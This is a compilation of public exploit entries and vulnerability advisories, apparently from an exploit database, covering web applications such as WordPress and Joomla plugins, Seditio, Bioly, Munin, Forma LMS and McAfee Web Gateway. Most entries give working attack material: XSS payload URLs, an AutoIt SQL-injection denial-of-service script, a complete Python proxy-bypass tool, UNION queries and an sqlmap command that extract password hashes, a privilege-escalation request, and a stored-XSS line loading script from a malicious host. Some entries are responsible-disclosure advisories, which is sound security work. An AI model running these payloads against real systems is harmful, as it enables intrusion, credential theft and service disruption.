type=add_new_user&login=[XSS]&pw=testing2&email=test&admin=false&manager=true&read_only=false&personal_folder=false&new_folder_role_domain=false&domain=test&key=key 
            
source: https://www.securityfocus.com/bid/53037/info

Yahoo Answer plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/[]/[]/process-imported-question.php?catname=[xss]
http://www.example.com/[]/[]/editautopilot.php?query=[xss] 
            
source: https://www.securityfocus.com/bid/53036/info

Seditio CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Seditio CMS 165 is vulnerable; prior versions may also be affected. 

$exploit=$targetsite & "/plug.php?e=akastep',rd_location=(benchmark(unix_timestamp(now()),sha1(md5(now())))),rd_ip='" & @IPAddress1 & "',rd_lastseen='"; //Our exploit.
$first=$targetsite & '/forums.php'; // our 1'st request will go here.

HttpSetUserAgent("I'm Denial Of Service Exploit for Seditio 165 throught sql injection"); //setting user agent 4 fun
InetGet($first,'',1);// first request.After this our IP address will be inserted to table sed_redirecter.It is neccessary to exploit.
Sleep(1500); //sleeping 1.5 second (*Waiting operation*)
HttpSetUserAgent("Exploiting!!!!");//setting our user agent again 4 fun.
InetGet($exploit,'',1,1) ; Now exploiting it with *do not wait* responce option.Until now We exploiting sql injection and causing Denial Of Service.
Exit; //exit from exploit
            
source: https://www.securityfocus.com/bid/53032/info

Munin is prone to a remote command-injection vulnerability.

Attackers can exploit this issue to inject and execute arbitrary commands in the context of the application. 

printf 'GET /cgi-bin/munin-cgi-graph/%%0afoo%%0a/x/x-x.png HTTP/1.0\r\nHost: localhost\r\nConnection: close\r\n\r\n' | nc localhost 80 
            
source: https://www.securityfocus.com/bid/53030/info

Joomla! Beatz Plugin is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker could leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/beatz/?option=com_content&view=frontpage&limitstart=5&%2522%253e%253c%2573%2563%2572%2569%2570%2574%253e%2561%256c%2565%2572%2574%2528%2f%2558%2553%2553%2f%2529%253c%2f%2573%2563%2572%2569%2570%2574%253e=1

http://www.example.com/beatz/index.php?option=com_charts&view=charts&Itemid=76&chartkeyword=Acoustic&do=all%22%20style%3dbackground-image:url('javascript:alert(/XSS/)');width:1000px;height:1000px;display:block;"%20x=%22&option=com_charts

http://www.example.com/beatz/index.php?do=listAll&keyword=++Search";><img+src=0+onerror=prompt(/XSS/)>&option=com_find

http://www.example.com/beatz/index.php?option=com_videos&view=videos&Itemid=59&video_keyword="+style="width:1000px;height:1000px;position:absolute;left:0;top:0"+onmouseover="alert(/xss/)&search=Search 
            
source: https://www.securityfocus.com/bid/53018/info

Bioly is prone to multiple SQL-injection and cross-site scripting vulnerabilities.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Bioly 1.3 is vulnerable; other versions may also be affected. 

Cross Site Scripting
POST /index.php?action=3 HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: STORED XSS TEST
Host: localhost
Content-Length: 68
Connection: Close
Pragma: no-cache

# [Post Data:]==>
email=>"><ScRiPt%20%0a%0d>alert(421135893768)%3B</ScRiPt>&register=1


SQL Injection
POST /index.php?action=11 HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Sql Injection
Host: localhost
Content-Length: 68
Connection: Close
Pragma: no-cache

# [Post Data:]==>
q=%00'
            
source: https://www.securityfocus.com/bid/53015/info

McAfee Web Gateway is prone to a security-bypass vulnerability because it fails to properly enforce filtering rules.

A successful attack will allow an attacker to bypass intended security restrictions; this may aid in other attacks.

McAfee Web Gateway 7 is vulnerable; other versions may also be affected.

import socket,struct,sys,time
from threading import Thread


#The timeOut can be changed if the proxy is slow.
#Tested in GMail, Facebook, Youtube and several blocked sites.
#The proxy get the Host field of the http header and do not verify anything else.
#It trusts on the HTTP Header and it can be modified by the attacker.

timeOut = 0.8
isGet = 0
hostNameG = ""
pacoteGet = ""
port = 8080 #Listening port
proxyAddr = "vulnerableProxy.com" #vulnerable proxy
proxyPort = 8080 # proxy port

def handle(client,globalSock):
	
	client.settimeout(timeOut)
	
	global hostNameG
	

	while 1:
		
		dados = ""
		tam = 0
		while 1:
                        try:
                                dados2 = client.recv(1024)
                                tam = tam + len(dados2)
                                dados = dados + dados2
                        except socket.timeout:
                               
                                break

		
		dd = dados.find("CONNECT") #if the packet is a CONNECT METHOD
		if dd != -1:
		  dd2 = dados.find(":")
		  hostName = dados[dd+8:dd2]
		  
		  ipAddr = socket.gethostbyname(hostName) #changing the method to connect to the ip address, not the dns domain
		  pacote = dados
		  hostHeader = "Host: " + hostName
		  pacote = pacote.replace(hostHeader, "Host: www.uol.com.br") #changing the host field with a value that is accepted by the proxy
		  pacote = pacote.replace(hostName, ipAddr) #changind domain for ip
		  
		  
		  
		  dados = pacote
		
		getd = dados.find("GET ")
		getd2 = dados.find("//")
		getd3 = dados.find("/", getd2+2)
		hostName = dados[getd2+2:getd3]
		
		
		if getd != -1:
		  globalSock.close()
		  globalSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		  globalSock.connect((proxyAddr,proxyPort))
		  globalSock.settimeout(timeOut)
		  getd2 = dados.find("//")
		  getd3 = dados.find("/", getd2+2)
		  
		  hostName = dados[getd2+2:getd3]
		  
		  proxyAuth = ""
		  proxyAuthN = dados.find("Proxy-Authorization:")
		  if proxyAuthN != -1:
		    proxyAuthNN = dados.find("\r\n", proxyAuthN)
		    proxyAuth = dados[proxyAuthN:proxyAuthNN]
		    
		    
		  ipAddr = socket.gethostbyname(hostName)
		  
		  info = "CONNECT " + ipAddr + ":80 HTTP/1.1\r\n"
		  if proxyAuthN != -1:
		    info += proxyAuth + "\r\n"
		  
		  info += "Host: www.uol.com.br\r\n\r\n"
		  
		  globalSock.send(info)
		  tam = 0
		  gdata = ""
		  
		  while 1:
			try:
				
				gdata2 = globalSock.recv(1024)
				
				tam = tam + len(gdata2)
				gdata = gdata + gdata2
				
				if len(gdata2) == 0: 
					break
				
				
			except socket.timeout:
				
				break
		  
		
		
		  
		
		globalSock.send(dados)
		tam = 0
		gdata = ""
		
		while 1:
			try:
				
				gdata2 = globalSock.recv(1024)
				
				if len(gdata2) > 0:
					client.send(gdata2)
				
				tam = tam + len(gdata2)
				gdata = gdata + gdata2
				
				if len(gdata2) == 0: 
					break
				
				
			except socket.timeout:
				
				break
		
		


print 'Proxy Bypass'
print 'by Gabriel Menezes Nunes'
print 'Tested on McAfee Web Gateway 7 and Squid Proxy'
sockzao = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Attacked Proxy:',
print proxyAddr
print 'Listening on',
print port
sockzao.bind(("",port))

sockzao.listen(6)

while 1:
	print 'Waiting for connections'
	client, address = sockzao.accept()
	print 'Client Connected'
	print address
	globalSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	globalSock.connect((proxyAddr,proxyPort))
	globalSock.settimeout(timeOut)

	t = Thread(target=handle, args=(client,globalSock,))
	t.start()
            
=======================================================================

              title: SQL Injection
            product: WordPress WP Symposium Plugin
 vulnerable version: 15.1 (and probably below)
      fixed version: 15.4
         CVE number: CVE-2015-3325
             impact: CVSS Base Score 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
           homepage: https://wordpress.org/plugins/wp-symposium/
              found: 2015-02-07
                 by: Hannes Trunde
                     
               mail: hannes.trunde@gmail.com
            twitter: @hannestrunde

=======================================================================


Plugin description:
-------------------
"WP Symposium turns a WordPress website into a Social Network! It is a WordPress
plugin that provides a forum, activity (similar to Facebook wall), member 
directory, private mail, notification panel, chat windows, profile page, social 
widgets, activity alerts, RSS activity feeds, Groups, Events, Gallery, Facebook 
Connect and Mobile support! You simply choose which you want to activate! 
Certain features are optional to members to protect their privacy."

Source: https://wordpress.org/plugins/wp-symposium/


Recommendation:
---------------
The author has provided a fixed plugin version which should be installed 
immediately.


Vulnerability overview/description:
-----------------------------------
Because of insufficient input validation, a blind sql injection attack can be
performed within the forum feature to obtain sensitive information from the 
database. The vulnerable code sections are described below.

forum.php lines 59-62:
===============================================================================
if ( ( $topic_id == '' && $cat_id == '') || ( !$cat_id != '' && get_option(WPS_OPTIONS_PREFIX.'_forum_ajax') && !get_option(WPS_OPTIONS_PREFIX.'_permalink_structure') ) ) {
   $cat_id = isset($_GET['cid']) ? $_GET['cid'] : 0;
   $topic_id = isset($_GET['show']) ? $_GET['show'] : 0;  // GET PARAMETER IS ASSIGNED TO $topic_id VARIABLE
}
===============================================================================

forum.php lines 95-103:
===============================================================================
if ( get_option(WPS_OPTIONS_PREFIX.'_permalink_structure') || !get_option(WPS_OPTIONS_PREFIX.'_forum_ajax') ) {
   if ($topic_id == 0) {
      $forum = __wps__getForum($cat_id);
      if (($x = strpos($forum, '[|]')) !== FALSE) $forum = substr($forum, $x+3);
      $html .= $forum;
   } else {
      $html .= __wps__getTopic($topic_id);	// __wps__getTopic IS CALLED WITH $topic_id AS PARAMETER
   }
}
===============================================================================

functions.php lines 152-155:
===============================================================================
$post = $wpdb->get_row("
   SELECT tid, topic_subject, topic_approved, topic_category, topic_post, topic_started, display_name, topic_sticky, topic_owner, for_info 
   FROM ".$wpdb->prefix."symposium_topics t INNER JOIN ".$wpdb->base_prefix."users u ON t.topic_owner = u.ID 
   WHERE (t.topic_approved = 'on' OR t.topic_owner = ".$current_user->ID.") AND tid = ".$topic_id);   //UNVALIDATED $topic_id IS USED IN SQL QUERY
===============================================================================


Proof of concept:
-----------------
The following HTTP request to the forum page returns the topic with id 1:
===============================================================================
http://www.site.com/?page_id=4&cid=1&show=1 AND 1=1
===============================================================================

The following HTTP request to the forum page returns a blank page, thus 
confirming the blind SQL injection vulnerability:
===============================================================================
http://www.site.com/?page_id=4&cid=1&show=1 AND 1=0
===============================================================================

Obtaining users and password hashes with sqlmap may look as follows:
================================================================================
sqlmap -u "http://www.site.com/?page_id=4&cid=1&show=1" -p "show" --technique=B --dbms=mysql --sql-query="select user_login,user_pass from wp_users"
================================================================================


Contact timeline:
------------------------
2015-04-08: Contacting author via mail.
2015-04-13: Mail from author, confirming the vulnerability.
2015-04-14: Requesting CVE via post to the open source software security mailing 
            list: http://openwall.com/lists/oss-security/2015/04/14/5
2015-04-15: Mail from author, stating that updated plugin version will be 
            available in the next few days.
2015-05-05: Mail from author, stating that fixed version has been uploaded and
            should be available soon.
2015-05-07: Confirming that update is available, releasing security advisory
            

Solution:
---------
Update to the most recent plugin version.


Workaround:
-----------
See solution.
            
Forma LMS 1.3 Multiple SQL Injections

[+] Author: Filippo Roncari
[+] Target: Forma LMS 
[+] Version: 1.3 and probably lower
[+] Vendor: http://www.formalms.org
[+] Accessibility: Remote
[+] Severity: High
[+] CVE: <requested>
[+] Full Advisory: https://www.securenetwork.it/docs/advisory/SN-15-03_Formalms.pdf
[+] Info: f.roncari@securenetwork.it / f@unsec.it


[+] Summary
Forma LMS is a corporate oriented Learning Management System, used to manage and deliver online training courses. Forma LMS is SCORM compliant with enterprise class features like multi-client architecture, custom report generation, native ecommerce and catalogue management, integration API, and more.


[+] Vulnerability Details
Forma LMS 1.3 is prone to multiple SQL injections vulnerabilities, which allow unprivileged users to inject arbitrary SQL statements.
An attacker could exploit these vulnerabilities by sending crafted requests to the web application. These issues can lead to data theft, data disruption, account violation and other attacks depending on the DBMS’s user privileges.


[+] Technical Details
See full advisory at https://www.securenetwork.it/docs/advisory/SN-15-03_Formalms.pdf for technical details and source code.


[+] Proof of Concept (PoC)
Unprivileged users such as Student or Professors could exploit these issues.
In reported payload "idst" SQL param is equal to 11836 which was admin's ID in tested installation.

	[!] coursereport.php SQL Injection in title param
	-------------------------
	POST /formalms/appLms/index.php?modname=coursereport&op=addscorm HTTP/1.1 Host: localhost
	Cookie: docebo_session=a6c94fcdfecf0d08b83de03a3c576885

	authentic_request=e1d3c5667856f21f0d09ce4796a76da6&id_report=0&source_of=scoitem&title=null+union+select+pass+fr om+core_user+where+idst=11836+&filtra=Salva+modifiche
	-------------------------


	[!] lib.message.php Blind Time-Based SQL Injection in msg_course_filter param
	-------------------------
	POST /formalms/appLms/index.php?modname=message&op=writemessage HTTP/1.1 Host: localhost
	Cookie: docebo_session=0c0491bb1fa6d814752d9e59c066df60

	[...] 

	------WebKitFormBoundaryu0DCt6tLZt8hAdlH
	Content-Disposition: form-data; name="msg_course_filter"

	99999 union SELECT IF(SUBSTRING(pass,1,1) = char(100),benchmark(5000000,encode(1,2)),null) from core_user
	where idst=11836

	[...]
	------------------------


	[!] coursereport.php SQL Injection in id_source param
	-------------------------
	POST /formalms/appLms/index.php?modname=coursereport&op=addscorm HTTP/1.1
	Host: localhost
	Cookie: docebo_session=a6c94fcdfecf0d08b83de03a3c576885; SQLiteManager_currentLangue=2

	authentic_request=e1d3c5667856f21f0d09ce4796a76da6&id_report=0&weight=123&show_to_user=true&use_for_final=true&tit le=&source_of=scoitem&titolo=&id_source=null+union+select+null,null,null,null,null,null,null,null,null,null,null,null,null,p ass,null,null,null+from+core_user+where+idst=11836&save=Salva+modifiche
	-------------------------


For further details and explanations check the full advisory.


[+] Disclaimer
Permission is hereby granted for the redistribution of this alert, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.	
            
source: https://www.securityfocus.com/bid/52986/info
   
All-in-One Event Calendar plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
   
All-in-One Event Calendar 1.4 is vulnerable; other prior versions may also be affected. 

http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget-form.php?title[id]=%22 %3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?args[before_widget ]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?title=%3Cscript%3E alert%28document.cookie%29;%3C/script%3E

http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?title=1&before _title=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?title=1&after_ title=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
            
source: https://www.securityfocus.com/bid/52986/info
  
All-in-One Event Calendar plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
  
All-in-One Event Calendar 1.4 is vulnerable; other prior versions may also be affected. 

http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/save_successful.php?msg=%3Cscript%3E alert%28document.cookie%29;%3C/script%3E
            
source: https://www.securityfocus.com/bid/52986/info
 
All-in-One Event Calendar plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
All-in-One Event Calendar 1.4 is vulnerable; other prior versions may also be affected. 

http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/box_publish_button.php?button_value= %22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
            
# Exploit Title: WordPress WP Membership plugin [Multiple Vulnerabilities]
# Date: 2015/05/19
# Exploit Author: Panagiotis Vagenas
# Contact: https://twitter.com/panVagenas
# Vendor Homepage: http://wpmembership.e-plugins.com/
# Software Link: http://codecanyon.net/item/wp-membership/10066554
# Version: 1.2.3
# Tested on: WordPress 4.2.2
# Category: webapps

========================================
* 1. Privilege escalation
  ========================================

1.1 Description

Any registered user can perform a privilege escalation through 
`iv_membership_update_user_settings` AJAX action.
Although this exploit can be used to modify other plugin related data 
(eg payment status and expiry date), privilege escalation can lead to a 
serious incident because the malicious user can take administrative role 
to the infected website.

1.2 Proof of Concept

* Login as regular user
* Sent a POST request to `http://example.com/wp-admin/admin-ajax.php` 
with data: 
`action=iv_membership_update_user_settings&form_data=user_id%3D<yourUserID>%26user_role%3Dadministrator` 


1.3 Actions taken after discovery

Vendor was informed on 2015/05/19.

1.4 Solution

No official solution yet exists.

========================================
* 2. Stored XSS
========================================

2.1 Description

All input fields from registered users aren't properly escaped. This 
could lead to an XSS attack that could possibly affect all visitors of 
the website, including administators.

2.2 Proof of Concept

* Login as regular user
* Update any field of your profile appending at the end
     `<script>alert('XSS');</script>`
     or
     `<script src=”http://malicious .server/my_malicious_script.js”/>`

2.3 Actions taken after discovery

Vendor was informed on 2015/05/19.

2.4 Solution

No official solution yet exists.

========================================
* 3. Unauthorized post publish and stored XSS
  ========================================

3.1 Description

Registered users can publish a post without administrator confirmation. 
Normally all posts submitted  by users registered with WP Membership 
plugin are stored with the status `pending`. A malicious user though can 
publish his post by crafting the form is used for submission.

3.2 Proof of Concept

* Login as regular user
  whom belongs to a group that can submit new posts
* Visit the `New Post` section at your profile
* Change field `post_status`:
     <select id="post_status" class="form-control" name="post_status">
         <option value="publish" selected=”selected”>Pending 
Review</option>
         <option value="draft">Draft</option>
     </select>

The post gets immediately published after you submit the form and is 
visible to all visitors of the website.

In addition a stored XSS attack can be performed due to insufficient 
escaping of the post content input.

3.3 Actions taken after discovery

Vendor was informed on 2015/05/19.

3.4 Solution

No official solution yet exists.

3.5 Workaround

Prevent users from submitting new posts through the relative option in 
plugin's settings